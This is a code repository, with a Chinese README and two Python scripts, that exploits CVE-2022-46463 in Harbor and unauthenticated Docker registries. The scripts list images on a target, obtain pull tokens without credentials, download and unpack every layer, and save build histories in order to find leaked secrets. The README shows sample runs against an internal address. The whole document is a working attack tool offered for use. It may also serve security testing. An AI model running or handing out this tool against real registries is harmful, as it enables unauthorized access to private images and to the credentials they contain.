├── README.md ├── harbor.py └── registry.py /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2022-46463 (Harbor public镜像下载) 2 | Harbor是一款开源的镜像托管平台。 3 | 此脚本通过列举所有的pulic镜像,支持dump操作(类似`docker pull`),方便从公开暴露的镜像中查找敏感泄漏信息。 4 | 5 | ## Usage 6 | ``` 7 | $ python3 harbor.py https://192.168.11.11 8 | [+] grafana/grafana 9 | [+] library/openjdk 10 | 11 | $ python3 harbor.py https://192.168.11.11 --dump library/openjdk:8 12 | [+] Dumping library/openjdk:8 13 | [+] Downloading : 001c52e26ad57e3b25b439ee0052f6692e5c0f2d5d982a00a8819ace5e521452 14 | [+] Downloading : d9d4b9b6e964657da49910b495173d6c4f0d9bc47b3b44273cf82fd32723d165 15 | [+] Downloading : 2068746827ec1b043b571e4788693eab7e9b2a95301176512791f8c317a2816a 16 | [+] Downloading : 9daef329d35093868ef75ac8b7c6eb407fa53abbcb3a264c218c2ec7bca716e6 17 | [+] Downloading : d85151f15b6683b98f21c3827ac545188b1849efb14a1049710ebc4692de3dd5 18 | [+] Downloading : 52a8c426d30b691c4f7e8c4b438901ddeb82ff80d4540d5bbd49986376d85cc9 19 | [+] Downloading : 8754a66e005039a091c5ad0319f055be393c7123717b1f6fee8647c338ff3ceb 20 | 21 | $ python3 harbor.py https://192.168.11.11 --dump_all 22 | [+] grafana/grafana 23 | [+] library/openjdk 24 | [+] Dumping grafana/grafana:latest 25 | [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 26 | [+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2 27 | [+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605 28 | [+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6 29 | [+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888 30 | [+] Dumping library/openjdk:8 31 | [+] Downloading : 001c52e26ad57e3b25b439ee0052f6692e5c0f2d5d982a00a8819ace5e521452 32 | [+] Downloading : d9d4b9b6e964657da49910b495173d6c4f0d9bc47b3b44273cf82fd32723d165 33 | [+] Downloading : 2068746827ec1b043b571e4788693eab7e9b2a95301176512791f8c317a2816a 34 | [+] Downloading : 9daef329d35093868ef75ac8b7c6eb407fa53abbcb3a264c218c2ec7bca716e6 35 | [+] Downloading : d85151f15b6683b98f21c3827ac545188b1849efb14a1049710ebc4692de3dd5 36 | [+] Downloading : 52a8c426d30b691c4f7e8c4b438901ddeb82ff80d4540d5bbd49986376d85cc9 37 | [+] Downloading : 8754a66e005039a091c5ad0319f055be393c7123717b1f6fee8647c338ff3ceb 38 | 39 | $ python3 harbor.py https://192.168.11.11 --tags --history 40 | 无需下载镜像,从构建历史中获取敏感信息 41 | ``` 42 | 43 | ## 参考链接 44 | [Harbor to RCE](https://mp.weixin.qq.com/s/pBkJW1_Vpf_suH50e8K9kg) 45 | [关于Habor CVE-2022-46463的说明](https://mp.weixin.qq.com/s/PfWrK8xzPMxxpvwrKyISUQ) 46 | [Harbor 未授权漏洞的背后是魔幻的荒诞主义](https://mp.weixin.qq.com/s/V8Ecqq_DPOQhH5q9UBWkXg) -------------------------------------------------------------------------------- /harbor.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | import os 3 | import tarfile 4 | import argparse 5 | import requests 6 | 7 | requests.packages.urllib3.disable_warnings() 8 | 9 | CACHE_PATH = "./caches/" 10 | TIMEOUT = 5 11 | 12 | def manageArgs(): 13 | parser = argparse.ArgumentParser() 14 | parser.add_argument("url", help="URL") 15 | parser.add_argument("--v2", dest='v2', default=False, help="API v2.0", action="store_true") 16 | parser.add_argument("--history", dest='history', default=False, help="get build_history by --tags", action="store_true") 17 | action = parser.add_mutually_exclusive_group() 18 | action.add_argument("--dump", metavar="IMAGENAME", dest='dump', type=str, help="ImageName") 19 | action.add_argument("--tags", dest='tags', default=False, help="list tags", action="store_true") 20 | action.add_argument("--dump_all", dest='dump_all', help="dump all", action="store_true") 21 | args = parser.parse_args() 22 | return args 23 | 24 | def createDir(directoryName): 25 | if "../" in directoryName: 26 | print("[-] Hacker!") 27 | return 28 | if not os.path.exists(f"{CACHE_PATH}{directoryName}"): 29 | os.makedirs(f"{CACHE_PATH}{directoryName}") 30 | 31 | class HarborUnauth(): 32 | def getImages(self): 33 | url = "%s/api/search?q=" % self.target 34 | url_v2 = "%s/api/v2.0/search?q=/" % self.target 35 | try: 36 | req=requests.get(url,timeout=TIMEOUT,verify=False) 37 | if req.status_code != 200: 38 | self.v2 = True 39 | print("[*] API version used v2.0") 40 | req=requests.get(url_v2,timeout=TIMEOUT,verify=False) 41 | repos = req.json()["repository"] 42 | images = [] 43 | for repo in repos: 44 | print("[+]",repo["repository_name"]) 45 | images.append(repo["repository_name"]) 46 | if self.list_tags: 47 | self.getTags(repo["repository_name"]) 48 | return images 49 | except Exception as e: 50 | print("[-] Not vulnerability.") 51 | return None 52 | 53 | def getTags(self,image_name): 54 | results = [] 55 | url = "%s/api/repositories/%s/tags?detail=1"%(self.target,image_name) 56 | if self.v2: 57 | info = image_name.split("/") 58 | url = "%s/api/v2.0/projects/%s/repositories/%s/artifacts?with_tag=true"%(self.target,info[0],'%252f'.join(info[1:])) 59 | try: 60 | req = requests.get(url,timeout=TIMEOUT,verify=False) 61 | tags = req.json() 62 | for tag in tags: 63 | if "name" in tag.keys(): 64 | tag_name = tag["name"] 65 | elif tag["tags"] == None: 66 | tag_name = tag["digest"].split(":")[1][:6] 67 | else: 68 | tag_name = tag["tags"][0]["name"] 69 | if self.list_tags: 70 | print(f" [*] {image_name}:{tag_name}") 71 | results.append({"image":image_name,"tag":tag_name,"sha256":tag["digest"]}) 72 | if self.build_history: 73 | self.getBuildHistory(image_name,tag_name,tag["addition_links"]["build_history"]["href"]) 74 | if self.list_tags: 75 | print() 76 | except Exception as e: 77 | print("[-] Get tags failed, maybe you should specify the --v2 argument.") 78 | return results 79 | 80 | def getBuildHistory(self,name,ver,href): 81 | url = self.target+href 82 | try: 83 | req = requests.get(url,timeout=TIMEOUT,verify=False) 84 | cmds = "" 85 | for i in req.json(): 86 | cmds += i["created_by"]+"\n" 87 | dir = name.replace("/","_")+"/"+ver.replace(".","_") 88 | createDir(dir) 89 | with open(f"{CACHE_PATH}{dir}/build_history.txt",'a', encoding='utf-8') as f: 90 | f.write(cmds) 91 | f.close() 92 | except Exception as e: 93 | print("[-] Get build_history failed, "+str(e)) 94 | 95 | def getToken(self,image_name): 96 | url = f"{self.target}/service/token?scope=repository%3A{image_name}%3Apull&service=harbor-registry" 97 | try: 98 | req=requests.get(url,timeout=TIMEOUT,verify=False) 99 | auth=req.json()["token"] 100 | return auth 101 | except Exception as e: 102 | return "" 103 | 104 | def getBlob(self,image_name,version,digest,header): 105 | url = "%s/v2/%s/manifests/%s" % (self.target,image_name,digest) 106 | try: 107 | req=requests.get(url,headers=header,timeout=TIMEOUT,verify=False) 108 | layers = req.json()["layers"] 109 | createDir(image_name.replace("/","_")+"/"+version.replace(".","_")) 110 | for l in layers: 111 | self.downloadSha(image_name,version,l["digest"],header) 112 | except Exception as e: 113 | print("[-]",str(e)) 114 | 115 | def downloadSha(self,image_name,version,sha256,header): 116 | dir = image_name.replace("/","_")+"/"+version.replace(".","_") 117 | name = sha256.split(":")[1] 118 | filenamesha = f"{CACHE_PATH}{dir}/{name}.tar.gz" 119 | url = f"{self.target}/v2/{image_name}/blobs/{sha256}" 120 | try: 121 | req=requests.get(url,headers=header,timeout=TIMEOUT,verify=False) 122 | if req.status_code == 200: 123 | print(f" [+] Downloading : {name}") 124 | with open(filenamesha, 'wb') as out: 125 | for bits in req.iter_content(): 126 | out.write(bits) 127 | tf = tarfile.open(filenamesha) 128 | tf.extractall(f"{CACHE_PATH}{dir}/{name}") 129 | os.remove(filenamesha) 130 | else: 131 | print(" [-] Download fail:",req.status_code) 132 | except Exception as e: 133 | print(e) 134 | 135 | def check(self,args): 136 | self.target = args.url.strip().strip("/") 137 | self.v2 = args.v2 138 | self.list_tags = args.tags 139 | self.build_history = args.history 140 | images = [] 141 | if args.dump: 142 | images.append(args.dump) 143 | else: 144 | images = self.getImages() 145 | if images != None and len(images)==0: 146 | print("[-] 0 public images found.") 147 | return 148 | if not args.dump_all: 149 | return 150 | for image in images: 151 | auth = self.getToken(image) 152 | if auth == "": 153 | print("[-] Get token failed.") 154 | return 155 | header = {"Authorization": "Bearer "+auth} 156 | tags = self.getTags(image) 157 | for tag in tags: 158 | print("[+] Dumping : %s:%s"%(tag["image"],tag["tag"])) 159 | self.getBlob(tag["image"],tag["tag"],tag["sha256"],header) 160 | 161 | if __name__ == "__main__": 162 | args = manageArgs() 163 | m = HarborUnauth() 164 | m.check(args) -------------------------------------------------------------------------------- /registry.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | import os 3 | import tarfile 4 | import argparse 5 | import requests 6 | 7 | requests.packages.urllib3.disable_warnings() 8 | 9 | CACHE_PATH = "./caches/" 10 | TIMEOUT = 5 11 | 12 | def manageArgs(): 13 | parser = argparse.ArgumentParser() 14 | parser.add_argument("url", help="URL") 15 | action = parser.add_mutually_exclusive_group() 16 | action.add_argument("--dump", metavar="IMAGENAME", dest='dump', type=str, help="ImageName") 17 | action.add_argument("--tags", dest='tags', default=False, help="list tags", action="store_true") 18 | action.add_argument("--dump_all", dest='dump_all', help="dump all", action="store_true") 19 | args = parser.parse_args() 20 | return args 21 | 22 | def createDir(directoryName): 23 | if "../" in directoryName: 24 | print("[-] Hacker!") 25 | return 26 | if not os.path.exists(f"{CACHE_PATH}{directoryName}"): 27 | os.makedirs(f"{CACHE_PATH}{directoryName}") 28 | 29 | class RegistryUnauth(): 30 | def getImages(self): 31 | url = "%s/v2/_catalog" % self.target 32 | try: 33 | req=requests.get(url,timeout=TIMEOUT,verify=False) 34 | repos = req.json()["repositories"] 35 | images = [] 36 | for repo in repos: 37 | print("[+]",repo) 38 | if self.list_tags: 39 | self.getTags(repo) 40 | images.append(repo) 41 | return images 42 | except Exception as e: 43 | print("[-] Not vulnerability.") 44 | return None 45 | 46 | def getTags(self,image_name): 47 | results = [] 48 | url = "%s/v2/%s/tags/list"%(self.target,image_name) 49 | try: 50 | req = requests.get(url,timeout=TIMEOUT,verify=False) 51 | tags = req.json()["tags"] 52 | for tag in tags: 53 | if self.list_tags: 54 | print(f" [*] {image_name}:{tag}") 55 | results.append({"image":image_name,"tag":tag}) 56 | if self.list_tags: 57 | print() 58 | except Exception as e: 59 | print("[-] Get tags failed,", str(e)) 60 | return results 61 | 62 | def getBlob(self,image_name,tag): 63 | url = "%s/v2/%s/manifests/%s" % (self.target,image_name,tag) 64 | try: 65 | req=requests.get(url,timeout=TIMEOUT,verify=False) 66 | layers = req.json()["fsLayers"] 67 | createDir(image_name.replace("/","_")+"/"+tag.replace(".","_")) 68 | for l in layers: 69 | self.downloadSha(image_name,tag,l["blobSum"]) 70 | except Exception as e: 71 | print("[-]",str(e)) 72 | 73 | def downloadSha(self,image_name,version,sha256): 74 | dir = image_name.replace("/","_")+"/"+version.replace(".","_") 75 | name = sha256.split(":")[1] 76 | filenamesha = f"{CACHE_PATH}{dir}/{name}.tar.gz" 77 | url = f"{self.target}/v2/{image_name}/blobs/{sha256}" 78 | try: 79 | req=requests.get(url,timeout=TIMEOUT,verify=False) 80 | if req.status_code == 200: 81 | print(f" [+] Downloading : {name}") 82 | with open(filenamesha, 'wb') as out: 83 | for bits in req.iter_content(): 84 | out.write(bits) 85 | tf = tarfile.open(filenamesha) 86 | tf.extractall(f"{CACHE_PATH}{dir}/{name}") 87 | os.remove(filenamesha) 88 | else: 89 | print(" [-] Download fail:",req.status_code) 90 | except Exception as e: 91 | print(e) 92 | 93 | def check(self,args): 94 | self.target = args.url.strip().strip("/") 95 | self.list_tags = args.tags 96 | images = [] 97 | if args.dump: 98 | images.append(args.dump) 99 | else: 100 | images = self.getImages() 101 | if images != None and len(images)==0: 102 | print("[-] 0 public images found.") 103 | return 104 | if not args.dump_all: 105 | return 106 | for image in images: 107 | tags = self.getTags(image) 108 | for tag in tags: 109 | print("[+] Dumping : %s:%s"%(tag["image"],tag["tag"])) 110 | self.getBlob(tag["image"],tag["tag"]) 111 | 112 | if __name__ == "__main__": 113 | args = manageArgs() 114 | m = RegistryUnauth() 115 | m.check(args) --------------------------------------------------------------------------------